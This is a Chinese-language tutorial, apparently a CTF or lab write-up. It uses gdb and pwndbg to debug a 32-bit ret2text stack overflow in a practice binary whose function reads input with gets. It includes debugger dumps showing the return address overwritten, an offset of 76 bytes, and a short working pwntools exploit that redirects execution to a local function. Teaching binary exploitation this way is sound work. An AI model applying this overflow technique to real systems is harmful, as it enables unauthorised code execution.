0x01.基础指令
详见:https://zz-zz-955.github.io/hugo-dev/p/gdb%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8%E4%BD%BF%E7%94%A8pwndbg%E6%8F%92%E4%BB%B6/
0x02.使用gdb调试ret2text
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=321b931a0d7856bf5bba57b9ceb0c0fcc1ed737b, for GNU/Linux 3.2.0, not stripped
|
看到是32位可执行文件,用IDA进行静态调试。
在伪代码中查看vuln
函数内容。
int vuln() { char s[68];
puts("There is something amazing here, do you know anything?"); gets(s); return printf("Maybe I will tell you next time !"); }
|
从中得知漏洞由gets
函数触发,现在我们进gdb
中进行调试。
反汇编 vulnerable 函数,看看它的结构。

0x0804920d <+43>: call 0x8049060 <gets@plt>
|
0x08049209 <+39>: lea eax,[ebp-0x48]
|
我们根据上述信息大致画出这样的一个图来表示栈空间情况
高地址 +-----------------------+ | | | 调用者的栈帧... | | | +-----------------------+ <--- 调用前的 ESP | 返回地址 (EIP) | // 由 call vuln 压入 (目标!) +-----------------------+ <--- 进入 vuln 后的 ESP | 保存的 EBP | // push ebp (vuln+0) ← 这里就是当前EBP指向的位置 +-----------------------+ <--- EBP 指向这里 (vuln+1) | 保存的 EBX | // push ebx (vuln+4) +-----------------------+ | | | 分配的空间 (0x44) | // sub esp, 0x44 | | +-----------------------+ <--- 当前的 ESP | | | buf[72字节] | // [ebp - 0x48] ← 你的数据从这里开始写入 | | +-----------------------+ <--- EBP - 0x48 低地址
|
启动调试并设置关键断点
b vuln
b *0x0804920d
b *0x08049212
b *0x0804922c
run
|
观察进入函数时的栈帧(在 vuln 断点处)


此时栈帧状态:
+-----------------------+ | 返回地址 (EIP) | ← ESP指向这里 +-----------------------+ | 保存的 EBP | +-----------------------+ | 保存的 EBX | +-----------------------+ | ... |
|
观察调用 gets 前的栈帧(在 call gets
断点处)
# 继续执行 c
# 再次查看栈帧 stack 20
# 查看 buf 的地址 p $ebp - 0x48
|

从中我们看到:
- ESP 指向 gets 的参数(buf的地址)
- EBP 保持不变
- 栈上已经分配了局部变量空间
单步执行并输入测试数据
pwndbg> ni Breakpoint 3, 0x08049212 in vuln () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────── EAX 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— 1 *ECX 0xf7faa9c0 (_IO_stdfile_0_lock) ◂— 0 EDX 1 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln' EBP 0xffffd048 ◂— 'saaataaa' ESP 0xffffcff0 —▸ 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' *EIP 0x8049212 (vuln+48) ◂— add esp, 0x10 ───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────── 0x8049203 <vuln+33> add esp, 0x10 0x8049206 <vuln+36> sub esp, 0xc 0x8049209 <vuln+39> lea eax, [ebp - 0x48] 0x804920c <vuln+42> push eax b+ 0x804920d <vuln+43> call gets@plt <gets@plt>
► 0x8049212 <vuln+48> add esp, 0x10 ESP => 0xffffd000 (0xffffcff0 + 0x10) 0x8049215 <vuln+51> sub esp, 0xc ESP => 0xffffcff4 (0xffffd000 - 0xc) 0x8049218 <vuln+54> lea eax, [ebx - 0x1fb0] EAX => 0x804a050 ◂— 'Maybe I will tell you next time !' 0x804921e <vuln+60> push eax 0x804921f <vuln+61> call printf@plt <printf@plt>
0x8049224 <vuln+66> add esp, 0x10 ───────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffcff0 —▸ 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' 01:0004│-054 0xffffcff4 ◂— 0x20 /* ' ' */ 02:0008│-050 0xffffcff8 ◂— 0 03:000c│-04c 0xffffcffc —▸ 0x80491ee (vuln+12) ◂— add ebx, 0x2e12 04:0010│ eax 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' 05:0014│-044 0xffffd004 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' 06:0018│-040 0xffffd008 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' 07:001c│-03c 0xffffd00c ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' ─────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────── ► 0 0x8049212 vuln+48 1 0x61616174 None 2 0xffffd200 None Continuing.
Breakpoint 4, 0x0804922c in vuln () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────── *EAX 0x21 *EBX 0x61616172 ('raaa') *ECX 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac *EDX 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln' *EBP 0x61616173 ('saaa') *ESP 0xffffd04c ◂— 'taaa' *EIP 0x804922c (vuln+74) ◂— ret ───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────── ► 0x804922c <vuln+74> ret <0x61616174> ↓
───────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffd04c ◂— 'taaa' 01:0004│ 0xffffd050 —▸ 0xffffd200 ◂— 0x3e8 02:0008│ 0xffffd054 ◂— 0x70 /* 'p' */ 03:000c│ 0xffffd058 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 04:0010│ 0xffffd05c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10 05:0014│ 0xffffd060 ◂— 1 06:0018│ 0xffffd064 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln' 07:001c│ 0xffffd068 —▸ 0xffffd11c —▸ 0xffffd2c4 ◂— 'HOSTTYPE=x86_64' ─────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────── ► 0 0x804922c vuln+74 1 0x61616174 None 2 0xffffd200 None ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> stack 30 Warning: Avoided exploring possible address 0xffccab8b. You can explicitly explore it with `vmmap-explore 0xffcca000` 00:0000│ esp 0xffffd04c ◂— 'taaa' 01:0004│ 0xffffd050 —▸ 0xffffd200 ◂— 0x3e8 02:0008│ 0xffffd054 ◂— 0x70 /* 'p' */ 03:000c│ 0xffffd058 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 04:0010│ 0xffffd05c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10 05:0014│ 0xffffd060 ◂— 1 06:0018│ 0xffffd064 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln' 07:001c│ 0xffffd068 —▸ 0xffffd11c —▸ 0xffffd2c4 ◂— 'HOSTTYPE=x86_64' 08:0020│ 0xffffd06c —▸ 0xffffd080 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 09:0024│ 0xffffd070 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 0a:0028│ 0xffffd074 —▸ 0x804922d (main) ◂— push ebp 0b:002c│ 0xffffd078 ◂— 1 0c:0030│ 0xffffd07c —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln' 0d:0034│ 0xffffd080 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 0e:0038│ 0xffffd084 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln' 0f:003c│ 0xffffd088 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0 10:0040│ 0xffffd08c —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 11:0044│ 0xffffd090 ◂— 0x8067c5be 12:0048│ 0xffffd094 ◂— 0xcbceafae 13:004c│ 0xffffd098 ◂— 0 ... ↓ 2 skipped 16:0058│ 0xffffd0a4 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0 17:005c│ 0xffffd0a8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 18:0060│ 0xffffd0ac ◂— 0x8b8b0700 19:0064│ 0xffffd0b0 —▸ 0xf7ffda40 ◂— 0 1a:0068│ 0xffffd0b4 —▸ 0xf7da04a6 (__libc_start_call_main+6) ◂— add ebx, 0x208b5a 1b:006c│ 0xffffd0b8 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 1c:0070│ 0xffffd0bc —▸ 0xf7da05f3 (__libc_start_main+147) —▸ 0xffccab8b ◂— 0xffccab8b 1d:0074│ 0xffffd0c0 ◂— 0
|
在esp 0xffffd04c ◂— 'taaa'
中得知返回地址已经被覆盖
最后计算出偏移量是76

EXPLOIT
from pwn import *
p = process('./vuln') pwn_addr = 0x080491A6 payload = b'A' * 76 + p32(pwn_addr)
p.sendline(payload) p.interactive()
|